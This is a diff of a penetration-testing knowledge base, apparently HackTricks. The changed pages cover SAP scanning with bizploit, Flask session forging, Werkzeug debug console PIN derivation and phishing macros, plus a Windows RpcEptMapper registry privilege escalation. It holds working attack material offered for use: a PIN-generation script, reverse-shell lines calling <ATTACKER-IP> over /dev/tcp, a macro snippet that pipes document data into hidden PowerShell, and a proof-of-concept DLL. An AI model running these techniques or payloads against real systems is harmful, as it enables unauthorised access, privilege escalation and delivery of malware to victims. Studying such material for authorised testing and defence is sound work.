bizploit/plugins> vulnassess all
bizploit/plugins> vulnassess config bruteLogin
bizploit/plugins/vulnassess/config:bruteLogin> set type defaultUsers
bizploit/plugins/vulnassess/config:bruteLogin> set tryHardcodedSAPStar True
bizploit/plugins/vulnassess/config:bruteLogin> set tryUserAsPwd True
bizploit/plugins/vulnassess/config:bruteLogin> back
bizploit/plugins> vulnassess config registerExtServer
bizploit/plugins/vulnassess/config:registerExtServer> set tpname evilgw
bizploit/plugins/vulnassess/config:registerExtServer> back
bizploit/plugins> vulnassess config checkRFCPrivs
bizploit/plugins/vulnassess/config:checkRFCPrivs> set checkExtOSCommands True
bizploit/plugins/vulnassess/config:checkRFCPrivs> back
bizploit/plugins> vulnassess config icmAdmin
bizploit/plugins/vulnassess/config:icmAdmin> set adminURL /sap/admin
bizploit/plugins/vulnassess/config:icmAdmin> back
bizploit/plugins> start
bizploit/plugins> back
bizploit> start
```
### Other Useful Tools for Testing
* [PowerSAP](https://github.com/airbus-seclab/powersap) - Powershell tool to assess sap security
* [Burp Suite](https://portswigger.net/burp) - a must have for directory fuzzing and web security assessments
* [pysap](https://github.com/SecureAuthCorp/pysap) - Python library to craft SAP network protocol packets
* [https://github.com/gelim/nmap-erpscan](https://github.com/gelim/nmap-erpscan) - Help nmap to detect SAP/ERP
### References
* [SAP Penetration Testing Using Metasploit](http://information.rapid7.com/rs/rapid7/images/SAP%20Penetration%20Testing%20Using%20Metasploit%20Final.pdf)
* [https://github.com/davehardy20/SAP-Stuff](https://github.com/davehardy20/SAP-Stuff) - a script to semi-automate Bizploit
* [SAP NetWeaver ABAP security configuration part 3: Default passwords for access to the application](https://erpscan.com/press-center/blog/sap-netweaver-abap-security-configuration-part-2-default-passwords-for-access-to-the-application/)
* [List of ABAP-transaction codes related to SAP security](https://wiki.scn.sap.com/wiki/display/Security/List+of+ABAP-transaction+codes+related+to+SAP+security)
* [Breaking SAP Portal](https://erpscan.com/wp-content/uploads/presentations/2012-HackerHalted-Breaking-SAP-Portal.pdf)
* [Top 10 most interesting SAP vulnerabilities and attacks](https://erpscan.com/wp-content/uploads/presentations/2012-Kuwait-InfoSecurity-Top-10-most-interesting-vulnerabilities-and-attacks-in-SAP.pdf)
* [Assessing the security of SAP ecosystems with bizploit: Discovery](https://www.onapsis.com/blog/assessing-security-sap-ecosystems-bizploit-discovery)
* [https://www.exploit-db.com/docs/43859](https://www.exploit-db.com/docs/43859)
* [https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/](https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/)
* [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures)

View file

@ -244,7 +244,8 @@ smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED o
### Mount a shared folder
```bash
mount -t cifs -o username=user,password=password //x.x.x.x/share /mnt/share
mount -t cifs //x.x.x.x/share /mnt/share
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
```
### **Download files**

View file

@ -364,6 +364,17 @@ You can attack some **characteristics** of **mail clients** to make the user thi
**Find more information about these protections in** [**https://seanthegeek.net/459/demystifying-dmarc/**](https://seanthegeek.net/459/demystifying-dmarc/)\*\*\*\*
### **Other phishing indicators**
* Domains age
* Links pointing to IP addresses
* Link manipulation techniques
* Suspicious \(uncommon\) attachments
* Broken email content
* Values used that are different to those of the mail headers
* Existence of a valid and trusted SSL certificate
* Submission of the page to web content filtering sites
## Exfiltration through SMTP
**If you can send data via SMTP** [**read this**](../../exfiltration.md#smtp)**.**

View file

@ -24,7 +24,7 @@ Accessing _/user/&lt;number&gt;_ you can see the number of existing users, in th
![](../../.gitbook/assets/image%20%2826%29.png)
![](../../.gitbook/assets/image%20%28158%29.png)
![](../../.gitbook/assets/image%20%28227%29.png)
## Hidden pages enumeration

View file

@ -4,6 +4,8 @@
## Cookies
Default cookie session name is **`session`**.
### Decoder
Online Flask coockies decoder: [https://www.kirsle.net/wizards/flask-session.cgi](https://www.kirsle.net/wizards/flask-session.cgi)
@ -12,7 +14,7 @@ Online Flask coockies decoder: [https://www.kirsle.net/wizards/flask-session.cgi
Get the first part of the cookie until the first point and Base64 decode it&gt;
```text
```bash
echo "ImhlbGxvIg" | base64 -d
```
@ -24,31 +26,31 @@ Command line tool to fetch, decode, brute-force and craft session cookies of a F
{% embed url="https://pypi.org/project/flask-unsign/" %}
```text
```bash
pip3 install flask-unsign
```
#### **Decode Cookie**
```text
```bash
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
```
#### **Brute Force**
```text
```bash
flask-unsign --unsign --cookie < cookie.txt
```
#### **Signing**
```text
```bash
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
```
#### Signing using legacy \(old versions\)
```text
```bash
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
```

View file

@ -102,7 +102,7 @@ Below you can find the simplest demonstration of an application authentication r
As we can see from the response screenshot, the first and the third requests returned _null_ and reflected the corresponding information in the _error_ section. The **second mutation had the correct authentication** data and the response has the correct authentication session token.
![](../../.gitbook/assets/image%20%2867%29.png)
![](../../.gitbook/assets/image%20%28119%29.png)
## Tools

View file

@ -1,5 +1,7 @@
# werkzeug
## Console RCE
If debug is active you could try to access to `/console` and gain RCE.
```python
@ -10,5 +12,186 @@ __import__('os').popen('whoami').read();
There is also several exploits on the internet like [this ](https://github.com/its-arun/Werkzeug-Debug-RCE)or one in metasploit.
## Pin Protected
In some occasions the /console endpoint is going to be protected by a pin. Here you can find how to generate this pin:
* [https://www.daehee.com/werkzeug-console-pin-exploit/](https://www.daehee.com/werkzeug-console-pin-exploit/)
* [https://ctftime.org/writeup/17955](https://ctftime.org/writeup/17955)
### Werkzeug Console PIN Exploit
**Copied from the first link.**
See Werkzeug “console locked” message by forcing debug error page in the app.
```text
The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server
```
Locate vulernable Werkzeug debug console at path `vulnerable-site.com/console`, but is locked by secret PIN number.
You can reverse the algorithm generating the console PIN. Inspect Werkzeugs debug `__init__.py` file on server e.g. `python3.5/site-packages/werkzeug/debug/__init__.py`. View [Werkzeug source code repo](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/__init__.py), but better to leak source code through file traversal vulnerability since versions likely differ.
In this file, see relevant method outlining steps to generate console PIN:
```python
def get_pin_and_cookie_name(app):
pin = os.environ.get('WERKZEUG_DEBUG_PIN')
rv = None
num = None
# Pin was explicitly disabled
if pin == 'off':
return None, None
# Pin was provided explicitly
if pin is not None and pin.replace('-', '').isdigit():
# If there are separators in the pin, return it directly
if '-' in pin:
rv = pin
else:
num = pin
modname = getattr(app, '__module__',
getattr(app.__class__, '__module__'))
try:
# `getpass.getuser()` imports the `pwd` module,
# which does not exist in the Google App Engine sandbox.
username = getpass.getuser()
except ImportError:
username = None
mod = sys.modules.get(modname)
# This information only exists to make the cookie unique on the
# computer, not as a security feature.
probably_public_bits = [
username,
modname,
getattr(app, '__name__', getattr(app.__class__, '__name__')),
getattr(mod, '__file__', None),
]
# This information is here to make it harder for an attacker to
# guess the cookie name. They are unlikely to be contained anywhere
# within the unauthenticated debug page.
private_bits = [
str(uuid.getnode()),
get_machine_id(),
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, text_type):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
return rv, cookie_name
```
Variables needed to exploit the console PIN:
```python
probably_public_bits = [
username,
modname,
getattr(app, '__name__', getattr(app.__class__, '__name__')),
getattr(mod, '__file__', None),
]
private_bits = [
str(uuid.getnode()),
get_machine_id(),
]
```
* `username` is the user who started this Flask
* `modname` is flask.app
* `getattr(app, '__name__', getattr (app .__ class__, '__name__'))` is Flask
* `getattr(mod, '__file__', None)` is the absolute path of an app.py in the flask directory
* `uuid.getnode()` is the MAC address of the current computer, `str (uuid.getnode ())` is the decimal expression of the mac address
* `get_machine_id()` read the value in `/etc/machine-id` or `/proc/sys/kernel/random/boot_i` and return directly if there is
To find server MAC address, need to know which network interface is being used to serve the app \(e.g. `ens3`\). If unknown, leak `/proc/net/arp` for device ID and then leak MAC address at `/sys/class/net/<device id>/address`.
Convert from hex address to decimal representation by running in python e.g.:
```python
>>> print(0x5600027a23ac)
94558041547692
```
Once all variables prepared, run exploit script to generate Werkzeug console PIN:
```python
import hashlib
from itertools import chain
probably_public_bits = [
'web3_user',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'279275995014060',# str(uuid.getnode()), /sys/class/net/ens33/address
'd4e6cb65d59544f3331ea0425dc555a1'# get_machine_id(), /etc/machine-id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
#h.update(b'shittysalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
```

View file

@ -183,7 +183,7 @@ It is recommended to disable Wp-Cron and create a real cronjob inside the host t
</methodCall>
```
![](../../.gitbook/assets/image%20%2890%29.png)
![](../../.gitbook/assets/image%20%28107%29.png)
![](../../.gitbook/assets/image%20%28224%29.png)

View file

@ -1,5 +1,19 @@
# Phising Documents
Microsoft Word performs file data validation prior to opening a file. Data validation is performed in the form of data structure identification, against the OfficeOpenXML standard. If any error occurs during the data structure identification, the file being analysed will not be opened.
Usually Word files containing macros uses the `.docm` extension. However, it's possible to rename the file changing the file extension and still keep their macro executing capabilities.
For example, an RTF file does not support macros, by design, but a DOCM file renamed to RTF will be handled by Microsoft Word and will be capable of macro execution.
The same internals and mechanisms apply to all software of the Microsoft Office Suite \(Excel, PowerPoint etc.\).
You can use the following command to check with extensions are going to be executed by some Office programs:
```bash
assoc | findstr /i "word excel powerp"
```
DOCX files referencing a remote template \(File Options Add-ins Manage: Templates Go\) that includes macros can “execute” macros as well.
### Word with external image
Go to: _Insert --&gt; Quick Parts --&gt; Field_
@ -7,3 +21,20 @@ _**Categories**: Links and References, **Filed names**: includePicture, and **Fi
![](.gitbook/assets/image%20%28347%29.png)
### Macros Code
```bash
Dim author As String
author = oWB.BuiltinDocumentProperties("Author")
With objWshell1.Exec("powershell.exe -nop -Windowsstyle hidden -Command-")
.StdIn.WriteLine author
.StdIn.WriteBlackLines 1
```
## Autoload functions
The more common they are, the more probable the AV will detect it.
* AutoOpen\(\)
* Document\_Open\(\)
*

View file

@ -15,6 +15,8 @@ sh -i >& /dev/udp/127.0.0.1/4242 0>&1 #UDP
exec 5<>/dev/tcp/<ATTACKER-IP>/<PORT>; while read line 0<&5; do $line 2>&5 >&5; done
```
Don't forget to check with others shell : sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, bash
### Symbol safe shell
```bash

View file

@ -104,7 +104,8 @@ Find hidden content using Fast Fourier T
Check it in:
* [http://bigwww.epfl.ch/demo/ip/demos/FFT/](http://bigwww.epfl.ch/demo/ip/demos/FFT/)
* [http://www.ejectamenta.com/Imaging-Experiments/fourierimagefiltering.html](http://www.ejectamenta.com/Imaging-Experiments/fourierimagefiltering.html)
* [https://www.ejectamenta.com/Fourifier-fullscreen/](https://www.ejectamenta.com/Fourifier-fullscreen/)
* [https://github.com/0xcomposure/FFTStegPic](https://github.com/0xcomposure/FFTStegPic) `pip3 install opencv-python`
### Stegpy \[PNG, BMP, GIF, WebP, WAV\]

View file

@ -396,7 +396,7 @@ If you don't execute this from a Domain Controller, ATA is going to catch you, s
![](../../.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67%20%282%29.png)
![](../../.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67%20%286%29%20%282%29.png)
[**Buy me a coffee here**](https://www.buymeacoffee.com/carlospolop)\*\*\*\*

View file

@ -157,6 +157,19 @@ Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureStri
![](../../.gitbook/assets/16.png)
and one last way yo achieve this from linux:
```markup
rpcclient -U KnownUsername 10.10.10.192
> setuserinfo2 UsernameChange 23 'ComplexP4ssw0rd!'
```
More info:
* [https://malicious.link/post/2017/reset-ad-user-password-with-linux/](https://malicious.link/post/2017/reset-ad-user-password-with-linux/)
* [https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-samr/6b0dff90-5ac0-429a-93aa-150334adabf6?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/6b0dff90-5ac0-429a-93aa-150334adabf6?redirectedfrom=MSDN)
* [https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-samr/e28bf420-8989-44fb-8b08-f5a7c2f2e33c](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/e28bf420-8989-44fb-8b08-f5a7c2f2e33c)
## WriteOwner on Group
Note how before the attack the owner of `Domain Admins` is `Domain Admins`:

View file

@ -63,6 +63,8 @@ You will be prompted for the database credentials: **neo4j:&lt;Your new password
## Ingestors
### Windows
You can download the [Ingestors from the github](https://github.com/BloodHoundAD/BloodHound/tree/master/Ingestors).
They have several options but if you want to run SharpHound from a PC joined to the domain, using your current user and extract all the information you can do:
@ -81,3 +83,12 @@ You could also use other parameters like: **DomainController**, **Domain**, **Ld
\*\*\*\*[**Learn more about Bloodhound in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-with-bloodhound-on-kali-linux)\*\*\*\*
### **Python**
If you have domain credentials you can run a **python bloodhound ingestor from any platform** so you don't need to depend on Windows.
Download it from [https://github.com/fox-it/BloodHound.py](https://github.com/fox-it/BloodHound.py) or doing `pip3 install bloodhound`
```bash
bloodhound-python -u support -p '#00^BlackKnight' -ns 10.10.10.192 -d blackfield.local -c all
```

View file

@ -37,7 +37,7 @@ If you don't want to wait an hour you can use a PS script to make the restore ha
Note the spotless' user membership:
![](../../.gitbook/assets/a1.png)
![](../../.gitbook/assets/1%20%282%29.png)
However, we can still add new users:

View file

@ -118,7 +118,7 @@ If you want to **know** about my **latest modifications**/**additions** or you h
If you want to **share some tricks with the community** you can also submit **pull requests** to ****[**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks) ****that will be reflected in this book.
Don't forget to **give ⭐ on the github** to motivate me to continue developing this book.
![](../.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67%20%283%29.png)
![](../.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67%20%286%29%20%283%29.png)
[**Buy me a coffee here**](https://www.buymeacoffee.com/carlospolop)\*\*\*\*

View file

@ -556,7 +556,7 @@ FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Te
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt
```
### Services registry permissions
### Services registry modify permissions
You should check if you can modify any service registry.
You can **check** your **permissions** over a service **registry** doing:
@ -578,6 +578,14 @@ To change the Path of the binary executed:
reg add HKLM\SYSTEM\CurrentControlSet\srevices\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f
```
### Services registry AppendData/AddSubdirectory permissions
If you have this permission over a registry this means to **you can create sub registries from this one**. In case of Windows services this is **enough to execute arbitrary code:**
{% page-ref page="appenddata-addsubdirectory-permission-over-service-registry.md" %}
### Unquoted Service Paths
If the path to an executable is not inside quotes, Windows will try to execute every ending before a space.

View file

@ -0,0 +1,341 @@
# AppendData/AddSubdirectory permission over service registry
**Information copied from** [**https://itm4n.github.io/windows-registry-rpceptmapper-eop/**](https://itm4n.github.io/windows-registry-rpceptmapper-eop/)\*\*\*\*
According to the output of the script, the current user has some write permissions on two registry keys:
* `HKLM\SYSTEM\CurrentControlSet\Services\Dnscache`
* `HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper`
Lets manually check the permissions of the `RpcEptMapper` service using the `regedit` GUI. One thing I really like about the _Advanced Security Settings_ window is the _Effective Permissions_ tab. You can pick any user or group name and immediately see the effective permissions that are granted to this principal without the need to inspect all the ACEs separately. The following screenshot shows the result for the low privileged `lab-user` account.
![](https://itm4n.github.io/assets/posts/2020-11-12-windows-registry-rpceptmapper-eop/02_regsitry-rpceptmapper-permissions.png)
Most permissions are standard \(e.g.: `Query Value`\) but one in particular stands out: `Create Subkey`. The generic name corresponding to this permission is `AppendData/AddSubdirectory`, which is exactly what was reported by the script:
```text
Name : RpcEptMapper
ImagePath : C:\Windows\system32\svchost.exe -k RPCSS
User : NT AUTHORITY\NetworkService
ModifiablePath : {Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RpcEptMapper}
IdentityReference : NT AUTHORITY\Authenticated Users
Permissions : {ReadControl, AppendData/AddSubdirectory, ReadData/ListDirectory}
Status : Running
UserCanStart : True
UserCanRestart : False
Name : RpcEptMapper
ImagePath : C:\Windows\system32\svchost.exe -k RPCSS
User : NT AUTHORITY\NetworkService
ModifiablePath : {Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RpcEptMapper}
IdentityReference : BUILTIN\Users
Permissions : {WriteExtendedAttributes, AppendData/AddSubdirectory, ReadData/ListDirectory}
Status : Running
UserCanStart : True
UserCanRestart : False
```
What does this mean exactly? It means that we cannot just modify the `ImagePath` value for example. To do so, we would need the `WriteData/AddFile` permission. Instead, we can only create a new subkey.
![](https://itm4n.github.io/assets/posts/2020-11-12-windows-registry-rpceptmapper-eop/03_registry-imagepath-access-denied.png)
Does it mean that it was indeed a false positive? Surely not. Let the fun begin!
### RTFM <a id="rtfm"></a>
At this point, we know that we can create arbirary subkeys under `HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper` but we cannot modify existing subkeys and values. These already existing subkeys are `Parameters` and `Security`, which are quite common for Windows services.
![](https://itm4n.github.io/assets/posts/2020-11-12-windows-registry-rpceptmapper-eop/04_registry-rpceptmapper-config.png)
Therefore, the first question that came to mind was: _is there any other predefined subkey - such as `Parameters` and `Security`- that we could leverage to effectively modify the configuration of the service and alter its behavior in any way?_
To answer this question, my initial plan was to enumerate all existing keys and try to identify a pattern. The idea was to see which subkeys are _meaningful_ for a services configuration. I started to think about how I could implement that in PowerShell and then sort the result. Though, before doing so, I wondered if this registry structure was already documented. So, I googled something like `windows service configuration registry site:microsoft.com` and here is the very first [result](https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree) that came out.
![](https://itm4n.github.io/assets/posts/2020-11-12-windows-registry-rpceptmapper-eop/05_google-search-registry-services.png)
Looks promising, doesnt it? At first glance, the documentation did not seem to be exhaustive and complete. Considering the title, I expected to see some sort of tree structure detailing all the subkeys and values defining a services configuration but it was clearly not there.
![](https://itm4n.github.io/assets/posts/2020-11-12-windows-registry-rpceptmapper-eop/06_doc-registry-services.png)
Still, I did take a quick look at each paragraph. And, I quickly spotted the keywords “_**Performance**_” and “_**DLL**_”. Under the subtitle “**Perfomance**”, we can read the following:
> **Performance**: _A key that specifies information for optional performance monitoring. The values under this key specify **the name of the drivers performance DLL** and **the names of certain exported functions in that DLL**. You can add value entries to this subkey using AddReg entries in the drivers INF file._
According to this short paragraph, one can theoretically register a DLL in a driver service in order to monitor its performances thanks to the `Performance` subkey. **OK, this is really interesting!** This key doesnt exist by default for the `RpcEptMapper` service so it looks like it is _exactly_ what we need. There is a slight problem though, this service is definitely not a driver service. Anyway, its still worth the try, but we need more information about this “_Perfomance Monitoring_” feature first.
![](https://itm4n.github.io/assets/posts/2020-11-12-windows-registry-rpceptmapper-eop/07_sc-qc-rpceptmapper.png)
> **Note:** in Windows, each service has a given `Type`. A service type can be one of the following values: `SERVICE_KERNEL_DRIVER (1)`, `SERVICE_FILE_SYSTEM_DRIVER (2)`, `SERVICE_ADAPTER (4)`, `SERVICE_RECOGNIZER_DRIVER (8)`, `SERVICE_WIN32_OWN_PROCESS (16)`, `SERVICE_WIN32_SHARE_PROCESS (32)` or `SERVICE_INTERACTIVE_PROCESS (256)`.
After some googling, I found this resource in the documentation: [Creating the Applications Performance Key](https://docs.microsoft.com/en-us/windows/win32/perfctrs/creating-the-applications-performance-key).
![](https://itm4n.github.io/assets/posts/2020-11-12-windows-registry-rpceptmapper-eop/08_performance-subkey-documentation.png)
First, there is a nice tree structure that lists all the keys and values we have to create. Then, the description gives the following key information:
* The `Library` value can contain **a DLL name or a full path to a DLL**.
* The `Open`, `Collect`, and `Close` values allow you to specify **the names of the functions** that should be exported by the DLL.
* The data type of these values is `REG_SZ` \(or even `REG_EXPAND_SZ` for the `Library` value\).
If you follow the links that are included in this resource, youll even find the prototype of these functions along with some code samples: [Implementing OpenPerformanceData](https://docs.microsoft.com/en-us/windows/win32/perfctrs/implementing-openperformancedata).
```text
DWORD APIENTRY OpenPerfData(LPWSTR pContext);
DWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned);
DWORD APIENTRY ClosePerfData();
```
I think thats enough with the theory, its time to start writing some code!
### Writing a Proof-of-Concept <a id="writing-a-proof-of-concept"></a>
Thanks to all the bits and pieces I was able to collect throughout the documentation, writing a simple Proof-of-Concept DLL should be pretty straightforward. But still, we need a plan!
When I need to exploit some sort of DLL hijacking vulnerability, I usually start with a simple and custom log helper function. The purpose of this function is to write some key information to a file whenever its invoked. Typically, I log the PID of the current process and the parent process, the name of the user that runs the process and the corresponding command line. I also log the name of the function that triggered this log event. This way, I know which part of the code was executed.
In my other articles, I always skipped the development part because I assumed that it was more or less obvious. But, I also want my blog posts to be beginner-friendly, so there is a contradiction. I will remedy this situation here by detailing the process. So, lets fire up Visual Studio and create a new “_C++ Console App_” project. Note that I could have created a “_Dynamic-Link Library \(DLL\)_” project but I find it actually easier to just start with a console app.
Here is the initial code generated by Visual Studio:
```text
#include <iostream>
int main()
{
std::cout << "Hello World!\n";
}
```
Of course, thats not what we want. We want to create a DLL, not an EXE, so we have to replace the `main` function with `DllMain`. You can find a skeleton code for this function in the documentation: [Initialize a DLL](https://docs.microsoft.com/en-us/cpp/build/run-time-library-behavior#initialize-a-dll).
```text
#include <Windows.h>
extern "C" BOOL WINAPI DllMain(HINSTANCE const instance, DWORD const reason, LPVOID const reserved)
{
switch (reason)
{
case DLL_PROCESS_ATTACH:
Log(L"DllMain"); // See log helper function below
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
```
In parallel, we also need to change the settings of the project to specify that the output compiled file should be a DLL rather than an EXE. To do so, you can open the project properties and, in the “**General**” section, select “**Dynamic Library \(.dll\)**” as the “**Configuration Type**”. Right under the title bar, you can also select “**All Configurations**” and “**All Platforms**” so that this setting can be applied globally.
Next, I add my custom log helper function.
```text
#include <Lmcons.h> // UNLEN + GetUserName
#include <tlhelp32.h> // CreateToolhelp32Snapshot()
#include <strsafe.h>
void Log(LPCWSTR pwszCallingFrom)
{
LPWSTR pwszBuffer, pwszCommandLine;
WCHAR wszUsername[UNLEN + 1] = { 0 };
SYSTEMTIME st = { 0 };
HANDLE hToolhelpSnapshot;
PROCESSENTRY32 stProcessEntry = { 0 };
DWORD dwPcbBuffer = UNLEN, dwBytesWritten = 0, dwProcessId = 0, dwParentProcessId = 0, dwBufSize = 0;
BOOL bResult = FALSE;
// Get the command line of the current process
pwszCommandLine = GetCommandLine();
// Get the name of the process owner
GetUserName(wszUsername, &dwPcbBuffer);
// Get the PID of the current process
dwProcessId = GetCurrentProcessId();
// Get the PID of the parent process
hToolhelpSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
stProcessEntry.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(hToolhelpSnapshot, &stProcessEntry)) {
do {
if (stProcessEntry.th32ProcessID == dwProcessId) {
dwParentProcessId = stProcessEntry.th32ParentProcessID;
break;
}
} while (Process32Next(hToolhelpSnapshot, &stProcessEntry));
}
CloseHandle(hToolhelpSnapshot);
// Get the current date and time
GetLocalTime(&st);
// Prepare the output string and log the result
dwBufSize = 4096 * sizeof(WCHAR);
pwszBuffer = (LPWSTR)malloc(dwBufSize);
if (pwszBuffer)
{
StringCchPrintf(pwszBuffer, dwBufSize, L"[%.2u:%.2u:%.2u] - PID=%d - PPID=%d - USER='%s' - CMD='%s' - METHOD='%s'\r\n",
st.wHour,
st.wMinute,
st.wSecond,
dwProcessId,
dwParentProcessId,
wszUsername,
pwszCommandLine,
pwszCallingFrom
);
LogToFile(L"C:\\LOGS\\RpcEptMapperPoc.log", pwszBuffer);
free(pwszBuffer);
}
}
```
Then, we can populate the DLL with the three functions we saw in the documentation. The documentation also states that they should return `ERROR_SUCCESS` if successful.
```text
DWORD APIENTRY OpenPerfData(LPWSTR pContext)
{
Log(L"OpenPerfData");
return ERROR_SUCCESS;
}
DWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned)
{
Log(L"CollectPerfData");
return ERROR_SUCCESS;
}
DWORD APIENTRY ClosePerfData()
{
Log(L"ClosePerfData");
return ERROR_SUCCESS;
}
```
Ok, so the project is now properly configured, `DllMain` is implemented, we have a log helper function and the three required functions. One last thing is missing though. If we compile this code, `OpenPerfData`, `CollectPerfData` and `ClosePerfData` will be available as internal functions only so we need to **export** them. This can be achieved in several ways. For example, you could create a [DEF](https://docs.microsoft.com/en-us/cpp/build/exporting-from-a-dll-using-def-files) file and then configure the project appropriately. However, I prefer to use the `__declspec(dllexport)` keyword \([doc](https://docs.microsoft.com/en-us/cpp/build/exporting-from-a-dll-using-declspec-dllexport)\), especially for a small project like this one. This way, we just have to declare the three functions at the beginning of the source code.
```text
extern "C" __declspec(dllexport) DWORD APIENTRY OpenPerfData(LPWSTR pContext);
extern "C" __declspec(dllexport) DWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned);
extern "C" __declspec(dllexport) DWORD APIENTRY ClosePerfData();
```
If you want to see the full code, I uploaded it [here](https://gist.github.com/itm4n/253c5937f9b3408b390d51ac068a4d12).
Finally, we can select _**Release/x64**_ and “_**Build the solution**_”. This will produce our DLL file: `.\DllRpcEndpointMapperPoc\x64\Release\DllRpcEndpointMapperPoc.dll`.
### Testing the PoC <a id="testing-the-poc"></a>
Before going any further, I always make sure that my payload is working properly by testing it separately. The little time spent here can save a lot of time afterwards by preventing you from going down a rabbit hole during a hypothetical debug phase. To do so, we can simply use `rundll32.exe` and pass the name of the DLL and the name of an exported function as the parameters.
```text
C:\Users\lab-user\Downloads\>rundll32 DllRpcEndpointMapperPoc.dll,OpenPerfData
```
![](https://itm4n.github.io/assets/posts/2020-11-12-windows-registry-rpceptmapper-eop/09_test-poc-rundll32.gif)
Great, the log file was created and, if we open it, we can see two entries. The first one was written when the DLL was loaded by `rundll32.exe`. The second one was written when `OpenPerfData` was called. Looks good! ![:slightly\_smiling\_face:](https://github.githubassets.com/images/icons/emoji/unicode/1f642.png)
```text
[21:25:34] - PID=3040 - PPID=2964 - USER='lab-user' - CMD='rundll32 DllRpcEndpointMapperPoc.dll,OpenPerfData' - METHOD='DllMain'
[21:25:34] - PID=3040 - PPID=2964 - USER='lab-user' - CMD='rundll32 DllRpcEndpointMapperPoc.dll,OpenPerfData' - METHOD='OpenPerfData'
```
Ok, now we can focus on the actual vulnerability and start by creating the required registry key and values. We can either do this manually using `reg.exe` / `regedit.exe` or programmatically with a script. Since I already went through the manual steps during my initial research, Ill show a cleaner way to do the same thing with a PowerShell script. Besides, creating registry keys and values in PowerShell is as easy as calling `New-Item` and `New-ItemProperty`, isnt it? ![:thinking:](https://github.githubassets.com/images/icons/emoji/unicode/1f914.png)
![](https://itm4n.github.io/assets/posts/2020-11-12-windows-registry-rpceptmapper-eop/10_powershell-new-item-access-denied.png)
`Requested registry access is not allowed`… Hmmm, ok… It looks like it wont be that easy after all. ![:stuck\_out\_tongue:](https://github.githubassets.com/images/icons/emoji/unicode/1f61b.png)
I didnt really investigate this issue but my guess is that when we call `New-Item`, `powershell.exe` actually tries to open the parent registry key with some flags that correspond to permissions we dont have.
